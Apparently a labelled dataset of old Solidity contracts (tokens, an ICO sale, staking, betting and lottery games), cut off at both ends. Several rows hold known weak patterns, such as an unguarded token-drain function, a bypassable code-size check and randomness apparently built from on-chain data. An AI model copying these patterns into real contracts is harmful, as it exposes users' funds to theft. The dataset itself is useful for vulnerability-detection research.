function getEarlyIncomeByAddress(address _buyer) public view returns(uint256);
function getCurEarlyIncomeByAddress(address _buyer) public view returns(uint256);
function getCurRoundId() public view returns(uint256);
function setLastRound(uint256 _lastRoundId) public;
function getPInvestedSumByRound(uint256 _rId, address _buyer) public view returns(uint256);
function cashoutable(address _address) public view returns(bool);
function isLastRound() public view returns(bool);
function sBountyClaim(address _sBountyHunter) public returns(uint256);
}
interface DevTeamInterface {
function setF2mAddress(address _address) public;
function setLotteryAddress(address _address) public;
function setCitizenAddress(address _address) public;
function setBankAddress(address _address) public;
function setRewardAddress(address _address) public;
function setWhitelistAddress(address _address) public;
function setupNetwork() public;
}
interface BankInterface {
function joinNetwork(address[6] _contract) public;
function pushToBank(address _player) public payable;
}
interface NewTokenInterface {
function swapToken(uint256 _amount, address _invester) public payable;
}
interface WhitelistInterface {
function joinNetwork(address[6] _contract) public;
} | 1 | 5,232 |
pragma solidity ^0.4.25 ;
contract VOCC_I076_20181211 {
mapping (address => uint256) public balanceOf;
string public name = " VOCC_I076_20181211 " ;
string public symbol = " VOCC_I076_20181211_subDT " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 19800000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 3,763 |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FidentiaXToken is MintableToken {
string public name = "fidentiaX";
string public symbol = "fdX";
uint256 public decimals = 18;
bool public tradingStarted = false;
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
function startTrading() public onlyOwner {
tradingStarted = true;
}
function transfer(address _to, uint _value) hasStartedTrading public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) hasStartedTrading public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public {
oddToken.transfer(owner, amount);
}
}
contract Sender {
address firstContractor = 0x155020972767efc46DDA0Ec63A95627550F8C64F;
address secondContractor = 0xDcDa40786C0E63B7932B7F844846eDce994a0851;
function SendThreeWays( address multisig, uint256 value ) internal {
uint256 cshare = value / 400;
uint256 mainshare = value - 2 * cshare;
firstContractor.transfer(cshare);
secondContractor.transfer(cshare);
multisig.transfer(mainshare);
}
}
contract FidentiaXTokenSale is Ownable,Sender {
using SafeMath for uint256;
FidentiaXToken public token;
uint256 public decimals;
uint256 public oneCoin;
uint256 public startTimestamp;
uint256 public endTimestamp;
uint256 public tier1Timestamp;
uint256 public tier2Timestamp;
address public multiSig;
function setWallet(address _newWallet) public onlyOwner {
multiSig = _newWallet;
}
uint256 public rate;
uint256 public minContribution = 0.0001 ether;
uint256 public maxContribution = 200000 ether;
uint256 public weiRaised;
uint256 public tokenRaised;
uint256 public maxTokens;
uint256 public tokensForSale;
uint256 public numberOfPurchasers = 0;
address public cs;
address public fx;
bool public freeForAll = false;
mapping (address => bool) public authorised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event SaleClosed();
function FidentiaXTokenSale() public {
startTimestamp = 1509930000;
endTimestamp = 1512489599;
tier1Timestamp = 1510102799;
tier2Timestamp = 1510361999;
multiSig = 0x90420B8aef42F856a0AFB4FFBfaA57405FB190f3;
token = new FidentiaXToken();
decimals = token.decimals();
oneCoin = 10 ** decimals;
maxTokens = 130 * (10**6) * oneCoin;
tokensForSale = 130 * (10**6) * oneCoin;
}
function getRateAt(uint256 at) internal constant returns (uint256) {
if (at < (tier1Timestamp))
return 575;
if (at < (tier2Timestamp))
return 550;
return 500;
}
function hasEnded() public constant returns (bool) {
if (now > endTimestamp)
return true;
if (tokenRaised >= tokensForSale)
return true;
return false;
}
modifier onlyCSorFx() {
require((msg.sender == fx) || (msg.sender==cs));
_;
}
modifier onlyFx() {
require(msg.sender == fx);
_;
}
modifier onlyAuthorised() {
require (authorised[msg.sender] || freeForAll);
require (now >= startTimestamp);
require (!(hasEnded()));
require (multiSig != 0x0);
require (msg.value > 1 finney);
require(tokensForSale > tokenRaised);
_;
}
function authoriseAccount(address whom) onlyCSorFx public {
authorised[whom] = true;
}
function authoriseManyAccounts(address[] many) onlyCSorFx public {
for (uint256 i = 0; i < many.length; i++) {
authorised[many[i]] = true;
}
}
function blockAccount(address whom) onlyCSorFx public {
authorised[whom] = false;
}
function setCS(address newCS) onlyOwner public {
cs = newCS;
}
function setFx(address newFx) onlyOwner public {
fx = newFx;
}
function placeTokens(address beneficiary, uint256 _tokens) onlyFx public {
require(_tokens != 0);
require(!hasEnded());
uint256 amount = 0;
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(_tokens);
token.mint(beneficiary, _tokens);
TokenPurchase(beneficiary, beneficiary, amount, _tokens);
}
function buyTokens(address beneficiary, uint256 amount) onlyAuthorised internal {
require(amount >= minContribution);
require(amount <= maxContribution);
uint256 actualRate = getRateAt(now);
uint256 tokens = amount.mul(actualRate);
weiRaised = weiRaised.add(amount);
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(beneficiary, beneficiary, amount, tokens);
SendThreeWays(multiSig,this.balance);
}
function finishSale() public onlyOwner {
require(hasEnded());
uint unassigned;
if(maxTokens > tokenRaised) {
unassigned = maxTokens.sub(tokenRaised);
token.mint(multiSig,unassigned);
}
token.finishMinting();
token.transferOwnership(owner);
SaleClosed();
}
function () public payable {
buyTokens(msg.sender, msg.value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public {
oddToken.transfer(owner, amount);
}
} | 1 | 3,304 |
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
uint256 constant MAX_UINT256 = 2**256 - 1;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Interface {
function transfer(address _to, uint _value) public returns (bool success);
function transfer(address _to, uint _value, bytes _data) public returns (bool success);
event ERC223Transfer(address indexed _from, address indexed _to, uint _value, bytes _data);
}
contract HumanStandardToken is ERC223Interface, StandardToken {
using SafeMath for uint256;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
uint codeLength;
bytes memory empty;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, empty);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LunetToken is HumanStandardToken {
using SafeMath for uint256;
string public name = "Lunet";
string public symbol= "LUNET";
uint8 public decimals = 18;
uint256 public tokenCreationCap = 1000000000000000000000000000;
uint256 public lunetReserve = 50000000000000000000000000;
event CreateLUNETS(address indexed _to, uint256 _value, uint256 _timestamp);
event Staked(address indexed _from, uint256 _value, uint256 _timestamp);
event Withdraw(address indexed _from, uint256 _value, uint256 _timestamp);
struct Stake {
uint256 amount;
uint256 timestamp;
}
mapping (address => Stake) public stakes;
function LunetToken() public {
totalSupply = lunetReserve;
balances[msg.sender] = lunetReserve;
CreateLUNETS(msg.sender, lunetReserve, now);
}
function stake() external payable {
require(msg.value > 0);
Stake storage stake = stakes[msg.sender];
uint256 amount = stake.amount.add(msg.value);
stake.amount = amount;
stake.timestamp = now;
Staked(msg.sender, amount, now);
}
function withdraw() public {
Stake storage stake = stakes[msg.sender];
require(stake.amount > 0);
uint256 amount = stake.amount;
stake.amount = 0;
if (!msg.sender.send(amount)) revert();
Withdraw(msg.sender, amount, now);
}
function claim() public {
uint256 reward = getReward(msg.sender);
if (reward > 0) {
Stake storage stake = stakes[msg.sender];
stake.timestamp = now;
uint256 checkedSupply = totalSupply.add(reward);
if (tokenCreationCap < checkedSupply) revert();
totalSupply = checkedSupply;
balances[msg.sender] += reward;
CreateLUNETS(msg.sender, reward, now);
}
}
function claimAndWithdraw() external {
claim();
withdraw();
}
function getReward(address staker) public constant returns (uint256) {
Stake memory stake = stakes[staker];
uint256 precision = 100000;
uint256 difference = now.sub(stake.timestamp).mul(precision);
uint totalDays = difference.div(1 days);
uint256 reward = stake.amount.mul(totalDays).div(precision);
return reward;
}
function getStake(address staker) external constant returns (uint256, uint256) {
Stake memory stake = stakes[staker];
return (stake.amount, stake.timestamp);
}
} | 1 | 5,464 |
pragma solidity ^0.4.24;
contract WhatDoesNadiaThink {
address public owner;
string public question;
string public questionType;
string public answerHash;
bytes32[] public responses;
uint256 public marketClosureTime;
uint256 public timeout;
uint256 public integrityFee;
uint256 public integrityPercentage;
uint256 public winningAnswer;
uint256 public total;
event AddressandAnswer(address indexed _from, uint256 indexed _result, uint _value);
constructor(string _question, bytes32[] _responses, string _questionType, string _answerHash, uint256 _timeQuestionIsOpen)
public payable
{
owner = msg.sender;
question = _question;
responses = _responses;
marketClosureTime = now + _timeQuestionIsOpen;
timeout = now + _timeQuestionIsOpen + 1209600;
questionType = _questionType;
answerHash = _answerHash;
integrityPercentage = 5;
winningAnswer = 1234;
total = msg.value;
}
enum States { Open, Resolved, Cancelled }
States state = States.Open;
mapping(address => mapping(uint256 => uint256)) public answerAmount;
mapping(uint256 => uint256) public totalPerResponse;
uint256 winningResponse;
function answer(uint256 result) public payable {
if (now > marketClosureTime) {
revert();
}
require(state == States.Open);
answerAmount[msg.sender][result] += msg.value;
totalPerResponse[result] += msg.value;
total += msg.value;
require(total < 2 ** 128);
emit AddressandAnswer(msg.sender, result, msg.value);
}
function resolve(uint256 _winningResponse) public {
require(now > marketClosureTime && state == States.Open);
require(msg.sender == owner);
winningResponse = _winningResponse;
winningAnswer = winningResponse + 1;
if (totalPerResponse[winningResponse] == 0) {
state = States.Cancelled;
} else {
state = States.Resolved;
integrityFee = total * integrityPercentage/100;
msg.sender.transfer(integrityFee);
}
}
function claim() public {
require(state == States.Resolved);
uint256 amount = answerAmount[msg.sender][winningResponse] * (total - integrityFee) / totalPerResponse[winningResponse];
answerAmount[msg.sender][winningResponse] = 0;
msg.sender.transfer(amount);
}
function cancel() public {
require(state != States.Resolved);
require(msg.sender == owner || now > timeout);
state = States.Cancelled;
}
function refund(uint256 result) public {
require(state == States.Cancelled);
uint256 amount = answerAmount[msg.sender][result];
answerAmount[msg.sender][result] = 0;
msg.sender.transfer(amount);
}
} | 1 | 3,743 |
pragma solidity ^0.4.21 ;
contract RUSS_PFVI_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " RUSS_PFVI_I_883 " ;
string public symbol = " RUSS_PFVI_I_IMTD " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 608977150836653000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 3,445 |
pragma solidity ^0.4.24;
contract DiscountToken { mapping (address => uint256) public balanceOf; }
contract TwoCoinsOneMoonGame {
struct Bettor {
address account;
uint256 amount;
}
struct Event {
uint256 winner;
uint256 newMoonLevel;
uint256 block;
uint256 blueCap;
uint256 redCap;
}
uint256 public lastLevelChangeBlock;
uint256 public lastEventId;
uint256 public moonLevel;
uint256 public marketCapBlue;
uint256 public marketCapRed;
uint256 public startBetBlue;
uint256 public startBetRed;
Bettor[] public bettorsBlue;
Bettor[] public bettorsRed;
Event[] public history;
mapping (address => uint) public balance;
address private feeCollector;
DiscountToken discountToken;
constructor() public {
marketCapBlue = 0;
marketCapRed = 0;
startBetBlue = 0;
startBetRed = 0;
feeCollector = 0xfd4e7b9f4f97330356f7d1b5ddb9843f2c3e9d87;
discountToken = DiscountToken(0x40430713e9fa954cf33562b8469ad94ab3e14c10);
lastLevelChangeBlock = block.number;
moonLevel = 500 finney;
}
function getBetAmount() private returns (uint256) {
require (msg.value >= 100 finney);
uint256 betAmount = msg.value;
if (discountToken.balanceOf(msg.sender) == 0) {
uint256 comission = betAmount * 4 / 100;
betAmount -= comission;
balance[feeCollector] += comission;
}
return betAmount;
}
function betBlueCoin() public payable {
uint256 betAmount = getBetAmount();
marketCapBlue += betAmount;
bettorsBlue.push(Bettor({account:msg.sender, amount:betAmount}));
checkMoon();
}
function betRedCoin() public payable {
uint256 betAmount = getBetAmount();
marketCapRed += betAmount;
bettorsRed.push(Bettor({account:msg.sender, amount:betAmount}));
checkMoon();
}
function withdraw() public {
if (balance[feeCollector] != 0) {
uint256 fee = balance[feeCollector];
balance[feeCollector] = 0;
feeCollector.call.value(fee)();
}
uint256 amount = balance[msg.sender];
balance[msg.sender] = 0;
msg.sender.transfer(amount);
}
function depositBalance(uint256 winner) private {
uint256 i;
if (winner == 0) {
for (i = startBetBlue; i < bettorsBlue.length; i++) {
balance[bettorsBlue[i].account] += bettorsBlue[i].amount;
balance[bettorsBlue[i].account] += 10**18 * bettorsBlue[i].amount / marketCapBlue * marketCapRed / 10**18;
}
}
else {
for (i = startBetRed; i < bettorsRed.length; i++) {
balance[bettorsRed[i].account] += bettorsRed[i].amount;
balance[bettorsRed[i].account] += 10**18 * bettorsRed[i].amount / marketCapRed * marketCapBlue / 10**18;
}
}
}
function addEvent(uint256 winner) private {
history.push(Event({winner: winner, newMoonLevel: moonLevel, block: block.number, blueCap: marketCapBlue, redCap: marketCapRed}));
lastEventId = history.length - 1;
lastLevelChangeBlock = block.number;
}
function burstBubble() private {
uint256 winner;
if (marketCapBlue == marketCapRed) {
winner = block.number % 2;
}
else if (marketCapBlue > marketCapRed) {
winner = 0;
}
else {
winner = 1;
}
depositBalance(winner);
moonLevel = moonLevel * 2;
addEvent(winner);
marketCapBlue = 0;
marketCapRed = 0;
startBetBlue = bettorsBlue.length;
startBetRed = bettorsRed.length;
}
function checkMoon() private {
if (block.number - lastLevelChangeBlock > 42000) {
moonLevel = moonLevel / 2;
addEvent(2);
}
if (marketCapBlue >= moonLevel || marketCapRed >= moonLevel) {
burstBubble();
}
}
} | 0 | 1,998 |
pragma solidity ^ 0.4 .8;
contract ERC20 {
function totalSupply() constant returns(uint total_Supply);
function balanceOf(address who) constant returns(uint256);
function allowance(address owner, address spender) constant returns(uint);
function transferFrom(address from, address to, uint value) returns(bool ok);
function approve(address spender, uint value) returns(bool ok);
function transfer(address to, uint value) returns(bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract blockoptions is ERC20
{
string public name = "blockoptions";
string public symbol = "BOP";
uint public decimals = 8;
uint public _totalSupply=20000000 * 10**decimals;
uint pre_ico_start;
uint pre_ico_end;
uint ico_start;
uint ico_end;
mapping(uint => address) investor;
mapping(uint => uint) weireceived;
mapping(uint => uint) optsSent;
event preico(uint counter,address investors,uint weiReceived,uint bopsent);
event ico(uint counter,address investors,uint weiReceived,uint bopsent);
uint counter=0;
uint profit_sent=0;
bool stopped = false;
function blockoptions() payable{
owner = msg.sender;
balances[owner] = _totalSupply ;
pre_ico_start = now;
pre_ico_end = pre_ico_start + 7 days;
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
address public owner;
modifier onlyOwner() {
if (msg.sender != owner)
{
revert();
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
balances[newOwner] = balances[owner];
balances[owner]=0;
owner = newOwner;
}
function Mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function Div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function Sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function Add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
function transfer(address _to, uint _value) returns (bool){
uint check = balances[owner] - _value;
if(msg.sender == owner && now>=pre_ico_start && now<=pre_ico_end && check < 1900000000000000)
{
return false;
}
else if(msg.sender ==owner && now>=pre_ico_end && now<=(pre_ico_end + 16 days) && check < 1850000000000000)
{
return false;
}
else if(msg.sender == owner && check < 130000000000000 && now < ico_start + 180 days)
{
return false;
}
else if (msg.sender == owner && check < 80000000000000 && now < ico_start + 360 days)
{
return false;
}
else if (msg.sender == owner && check < 30000000000000 && now < ico_start + 540 days)
{
return false;
}
else if (_value > 0) {
balances[msg.sender] = Sub(balances[msg.sender],_value);
balances[_to] = Add(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
else{
return false;
}
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (_value > 0) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = Add(balances[_to], _value);
balances[_from] = Sub(balances[_from], _value);
allowed[_from][msg.sender] = Sub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}else{
return false;
}
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function drain() onlyOwner {
owner.send(this.balance);
}
function() payable
{
if(stopped && msg.sender != owner)
revert();
else if(msg.sender == owner)
{
profit_sent = msg.value;
}
else if(now>=pre_ico_start && now<=pre_ico_end)
{
uint check = balances[owner]-((400*msg.value)/10000000000);
if(check >= 1900000000000000)
pre_ico(msg.sender,msg.value);
}
else if (now>=ico_start && now<ico_end)
{
main_ico(msg.sender,msg.value);
}
}
function pre_ico(address sender, uint value)private
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (400*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
preico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
function main_ico(address sender, uint value)private
{
if(now >= ico_start && now <= (ico_start + 7 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (250*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 7 days) && now <= (ico_start + 14 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (220*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 14 days) && now <= (ico_start + 31 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (200*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
}
function startICO()onlyOwner
{
ico_start = now;
ico_end=ico_start + 31 days;
pre_ico_start = 0;
pre_ico_end = 0;
}
function totalSupply() constant returns(uint256 totalSupply)
{
totalSupply = _totalSupply;
}
function endICO()onlyOwner
{
stopped=true;
if(balances[owner] > 130000000000000)
{
uint burnedTokens = balances[owner]-130000000000000;
_totalSupply = _totalSupply-burnedTokens;
balances[owner] = 130000000000000;
}
}
} | 0 | 663 |
pragma solidity ^0.4.24;
library DataSet {
enum RoundState {
UNKNOWN,
STARTED,
STOPPED,
DRAWN,
ASSIGNED
}
struct Round {
uint256 count;
uint256 timestamp;
uint256 blockNumber;
uint256 drawBlockNumber;
RoundState state;
uint256 pond;
uint256 winningNumber;
address winner;
}
}
library NumberCompressor {
uint256 constant private MASK = 16777215;
function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256)
{
require(_begin <= _end && _end < _ceiling, "number is invalid");
return _begin << 24 | _end;
}
function decode(uint256 _value) internal pure returns (uint256, uint256)
{
uint256 end = _value & MASK;
uint256 begin = (_value >> 24) & MASK;
return (begin, end);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
}
contract Events {
event onActivate
(
address indexed addr,
uint256 timestamp,
uint256 bonus,
uint256 issued_numbers
);
event onDraw
(
uint256 timestatmp,
uint256 blockNumber,
uint256 roundID,
uint256 winningNumber
);
event onStartRunnd
(
uint256 timestamp,
uint256 roundID
);
event onBet
(
address indexed addr,
uint256 timestamp,
uint256 roundID,
uint256 beginNumber,
uint256 endNumber
);
event onAssign
(
address indexed operatorAddr,
uint256 timestatmp,
address indexed winnerAddr,
uint256 roundID,
uint256 pond,
uint256 bonus,
uint256 fund
);
event onRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed playerAddr,
uint256 count,
uint256 amount
);
event onLastRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed platformAddr,
uint256 amout
);
}
contract Winner is Events {
using SafeMath for *;
uint256 constant private MIN_BET = 0.01 ether;
uint256 constant private PRICE = 0.01 ether;
uint256 constant private MAX_DURATION = 30 days;
uint256 constant private REFUND_RATE = 90;
address constant private platform = 0x67064806CBF376Eb6ADf6548d0Cdc51A3437Dc4d;
uint256 private curRoundID;
uint256 private drawnRoundID;
uint256 private drawnBlockNumber;
uint256 private bonus;
uint256 private issued_numbers;
bool private initialized;
mapping (uint256 => DataSet.Round) private rounds;
mapping (uint256 => mapping(address => uint256[])) private playerNumbers;
mapping (address => bool) private administrators;
constructor() public {
}
modifier isAdmin() {
require(administrators[msg.sender], "only administrators");
_;
}
modifier isInitialized () {
require(initialized == true, "game is inactive");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry, humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= MIN_BET, "the bet is too small");
require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big");
_;
}
function() public payable isHuman() isInitialized() isWithinLimits(msg.value)
{
bet(msg.value);
}
function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman()
{
require(initialized == false, "it has been initialized already");
require(_bonus > 0, "bonus is invalid");
require(_issued_numbers > 0, "issued_numbers is invalid");
initialized = true;
administrators[msg.sender] = true;
bonus = _bonus;
issued_numbers = _issued_numbers;
emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers);
curRoundID = 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
drawnRoundID = 0;
emit onStartRunnd(block.timestamp, curRoundID);
}
function drawNumber() private view returns(uint256) {
return uint256(keccak256(abi.encodePacked(
